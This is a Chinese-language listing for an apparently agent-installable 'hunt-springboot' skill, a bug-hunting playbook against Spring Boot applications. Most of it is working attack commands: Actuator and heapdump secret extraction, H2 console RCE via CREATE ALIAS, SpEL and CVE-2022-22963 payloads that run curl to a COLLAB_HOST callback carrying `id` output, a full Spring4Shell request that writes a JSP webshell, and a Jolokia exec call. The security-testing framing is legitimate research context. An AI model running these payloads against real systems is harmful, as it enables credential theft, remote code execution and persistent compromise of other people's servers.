关于 hunt-springboot
用于评估 Spring Boot 应用的安全测试技能,帮助研究人员检查 Actuator 暴露,以及 H2 Console、SpEL、Spring4Shell 和 Jolokia 相关风险。
主要功能
- 01Spring Boot 指纹识别
- 02Actuator 端点枚举
- 03堆转储与环境信息暴露检查
- 04H2 Console 与 SpEL 测试
- 05Spring4Shell 与 Jolokia 检查
适用场景
- 01审查暴露的 Actuator 端点
- 02检查内存或属性信息是否泄露密钥
- 03评估 H2 Console 和表达式注入风险
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-springboot安装后在 Claude Code 中输入/hunt-springboot确认已加载。
详细介绍
HUNT-SPRINGBOOT — Spring Boot 特定漏洞
皇冠明珠目标
Spring Boot Actuator /actuator/heapdump 暴露 = 内存堆转储包含内存中的所有机密信息。
价值最高的发现:
/actuator/heapdump— 完整的 JVM 堆转储包含以明文存储在内存任意位置的密码、令牌、数据库凭据和私钥/actuator/env— 列出所有环境变量和 Spring 属性,包括机密信息/actuator/shutdown— POST → 关闭应用程序(对可用性造成严重影响)- H2 Console(
/h2-console) — 内存数据库管理界面 → 执行 SQL 查询 → 可能通过CREATE ALIAS技巧实现 RCE - SpEL 注入 — 模板字段、
@Value注解和经过 SpEL 处理的请求参数中的 Spring Expression Language → RCE - Spring4Shell CVE-2022-22965 — Spring Framework < 5.3.18 + Tomcat → 通过数据绑定实现 RCE
阶段 1 — 识别 Spring Boot
# Spring Boot indicators
curl --max-time 30 --connect-timeout 10 -sI https://$TARGET/ | grep -i "x-application-context\|x-content-type"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/nonexistent" | grep -i "Whitelabel Error Page\|Spring Boot\|org.springframework"
# Actuator root (may list available endpoints)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/actuator" | python3 -m json.tool 2>/dev/null
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/actuator/" | python3 -m json.tool 2>/dev/null
# Try common base paths
for base in "" "/manage" "/management" "/app"; do
STATUS=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://$TARGET$base/actuator")
[ "$STATUS" = "200" ] && echo "[+] Actuator at: $TARGET$base/actuator"
done
阶段 2 — 枚举 Actuator 端点
BASE="https://$TARGET/actuator"
# High-impact endpoints
ENDPOINTS=("env" "heapdump" "threaddump" "mappings" "beans" "metrics"
"loggers" "info" "health" "configprops" "shutdown" "trace"
"httptrace" "auditevents" "sessions" "scheduledtasks" "caches"
"flyway" "liquibase" "refresh" "restart")
for EP in "${ENDPOINTS[@]}"; do
# Don't trust HTTP 200 alone — Spring returns 200 with a Whitelabel/login
# page for many paths. Require actuator-shaped JSON (or a heapdump body)
# before calling it EXPOSED.
BODY=$(curl --max-time 30 --connect-timeout 10 -s -H "Accept: application/json" "$BASE/$EP")
CT=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{content_type}" -H "Accept: application/json" "$BASE/$EP")
if echo "$CT" | grep -qi "json" && ! echo "$BODY" | grep -qi "Whitelabel Error Page\|<html"; then
echo "[+] EXPOSED: $BASE/$EP"
fi
done
# Get environment variables (passwords, API keys)
curl --max-time 30 --connect-timeout 10 -s "$BASE/env" | python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key\|token\|credential" | head -20
# Get all endpoint mappings (full API surface)
curl --max-time 30 --connect-timeout 10 -s "$BASE/mappings" | python3 -m json.tool 2>/dev/null | grep -Eo '"pattern":"\K[^"]+' | sort
# Get Spring beans (lists all registered beans, reveals internal architecture)
curl --max-time 30 --connect-timeout 10 -s "$BASE/beans" | python3 -m json.tool 2>/dev/null | head -100
阶段 3 — 分析堆转储
# Download heap dump (can be large — 100MB+)
curl --max-time 30 --connect-timeout 10 -s "$BASE/heapdump" -o /tmp/heapdump.hprof
ls -lh /tmp/heapdump.hprof
# Quick grep for secrets in heap dump (binary file — use strings)
strings /tmp/heapdump.hprof | grep -iE "(password|secret|apikey|api_key|token|bearer|private_key)" | \
grep -v "^[a-z_]" | sort -u | head -50
# More targeted extraction
strings /tmp/heapdump.hprof | grep -Eo "(?:password|passwd|pwd)\s*[=:]\s*\S+" | sort -u | head -20
strings /tmp/heapdump.hprof | grep -Eo "AKIA[A-Z0-9]{16}" | sort -u # AWS keys
strings /tmp/heapdump.hprof | grep -Eo "sk_live_[A-Za-z0-9]+" | sort -u # Stripe keys
strings /tmp/heapdump.hprof | grep -Eo "Bearer [A-Za-z0-9._-]+" | sort -u # Bearer tokens
# Use Eclipse Memory Analyzer (MAT) for deep analysis
# https://www.eclipse.org/mat/
阶段 4 — H2 Console RCE
# H2 console detection
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/h2-console" | grep -i "H2 Console\|H2 Database"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/h2" | grep -i "H2 Console"
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/console" | grep -i "H2"
# Default credentials: sa / (empty password)
# JDBC URL: jdbc:h2:mem:testdb
# If accessible, RCE via CREATE ALIAS:
# SQL to execute:
# CREATE ALIAS EXEC AS $$ String exec(String cmd) throws Exception {
# Runtime rt = Runtime.getRuntime();
# String[] commands = {"sh","-c",cmd};
# Process proc = rt.exec(commands);
# return new String(proc.getInputStream().readAllBytes());
# } $$;
# CALL EXEC('id');
阶段 5 — SpEL 注入
# Spring Expression Language injection in user-controlled fields
# Test: ${7*7} or #{7*7} → if the response reflects 49, SpEL is being evaluated
# Common injection points:
# - Email template fields: "Hello ${name}"
# - Custom annotation @Value("${user.input}")
# - Spring Security expressions
# - Spring WebFlow
# Basic SpEL test
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/user/name" \
-H "Content-Type: application/json" \
-d '{"name": "#{7*7}"}'
# If returns 49 → SpEL injection confirmed
# RCE payload — note: exec() returns a Process, not a String, so a bare
# exec("id") produces NO visible output. Confirm via an OOB curl callback
# (the spawned curl makes the network request even though nothing is reflected):
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/api/user/name" \
-H "Content-Type: application/json" \
-d '{"name": "#{T(java.lang.Runtime).getRuntime().exec(new String[]{\"sh\",\"-c\",\"curl COLLAB_HOST/spel-$(id|base64)\"})}"}'
# CVE-2022-22963 — Spring Cloud Function SpEL
curl --max-time 30 --connect-timeout 10 -s -X POST "https://$TARGET/functionRouter" \
-H "spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec(\"curl COLLAB_HOST/spel-rce\")" \
-d "test"
阶段 6 — Spring4Shell(CVE-2022-22965)
# Affects: Spring Framework < 5.3.18 and < 5.2.20 (and all older branches);
# fixed in 5.3.18 / 5.2.20. Requires JDK 9+ and WAR-on-Tomcat deployment.
# Requires: Java 9+, Tomcat as WAR deployment
# Detection: does the app accept class.* parameters?
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/api/user" \
-d "class.module.classLoader.URLs[0]=jar:http://COLLAB_HOST/test.jar!/"
# Check COLLAB for HTTP callback
# Exploitation: write webshell via class loader
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/login" \
--data-raw "username=test&password=test&class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di+if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B+java.io.InputStream+in+%3D+Runtime.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B+int+a+%3D+-1%3B+byte%5B%5D+b+%3D+new+byte%5B2048%5D%3B+while((a%3Din.read(b))!%3D-1)%7B+out.println(new+String(b))%3B+%7D+%7D+%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps%2FROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
阶段 7 — Jolokia JMX 暴露
# Jolokia provides HTTP access to JMX MBeans
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/jolokia" | python3 -m json.tool 2>/dev/null | head -20
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/actuator/jolokia" | python3 -m json.tool 2>/dev/null | head -20
# List all MBeans
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/jolokia/list" | python3 -m json.tool 2>/dev/null | grep -i "type\|operation" | head -30
# Read system properties via Jolokia (may expose credentials)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/jolokia/read/java.lang:type=Runtime/SystemProperties" | \
python3 -m json.tool 2>/dev/null | grep -i "password\|secret\|key"
# Exec MBean operations (potential RCE via MLet)
curl --max-time 30 --connect-timeout 10 -s "https://$TARGET/jolokia/exec/com.sun.management:type=DiagnosticCommand/compilerDirectivesAdd/!/tmp/evil"
攻击链表
| Spring Boot 发现 | 攻击链 | 影响 |
|---|---|---|
/actuator/heapdump | 从内存中提取数据库密码、API 密钥 | 严重凭据泄露 |
/actuator/env | 读取包括机密信息在内的所有环境变量 | 高 |
| H2 console 可访问 | CREATE ALIAS → RCE | 严重 |
| SpEL 注入 | T(Runtime).exec() → OS 命令 | 严重 RCE |
| Spring4Shell | 写入 webshell → RCE | 严重 |
| Jolokia + MLet | 通过 MBean 远程执行代码 | 严重 RCE |
验证
✅ 堆转储:strings 命令可从 .hprof 文件中提取可读的密码/令牌
✅ Actuator/env:JSON 响应中可见机密信息
✅ SpEL:算术表达式可求值(7*7=49),或收到 OOB 回调
✅ H2 console:SQL 已执行,已返回 id 输出
严重程度:
- 包含凭据的 Heapdump:严重
- SpEL RCE:严重
- H2 console RCE:严重
- Actuator env(密码暴露):高
- 仅映射信息泄露:低至中
验证
运行此自检,以确认 Spring Boot 漏洞搜寻已准备就绪:
-
技能完整性 — 确认技能文件可读且格式正确:
grep -q "name: hunt-springboot" SKILL.md && echo "PASS: skill frontmatter present" || echo "FAIL" grep -q "revision_date:" SKILL.md && echo "PASS: revision date present" || echo "FAIL" -
类别检查 — 确认技能有类别:
grep -q "category:" SKILL.md && echo "PASS: category present" || echo "FAIL" -
陷阱部分 — 确认已记录常见陷阱:
grep -q "^## Pitfalls" SKILL.md && echo "PASS: pitfalls section present" || echo "FAIL"
全部 3 项测试均通过,即可确认技能结构正确且可供使用。
常见陷阱
- Actuator 端点不含敏感数据 —
/actuator/health或/actuator/info是有意公开的。需要/actuator/env、/actuator/heapdump或/actuator/mappings。 /actuator/env的值已清理 — Spring Boot 2.x+ 默认会清理环境变量的值。需要未清理的机密信息。- 下载
/actuator/heapdump— 分析堆转储需要 Eclipse MAT 或类似工具。发现的问题是转储可访问,而非其中包含什么(需通过实际提取出的机密信息证明)。 - 修改
/actuator/loggers— 将日志级别更改为 DEBUG 可能泄露敏感数据。需展示泄露的数据。 - Spring Boot 版本不受 CVE 影响 — 版本泄露仅具参考价值,除非同时存在影响该特定版本的 CVE。
评论
支持 Markdown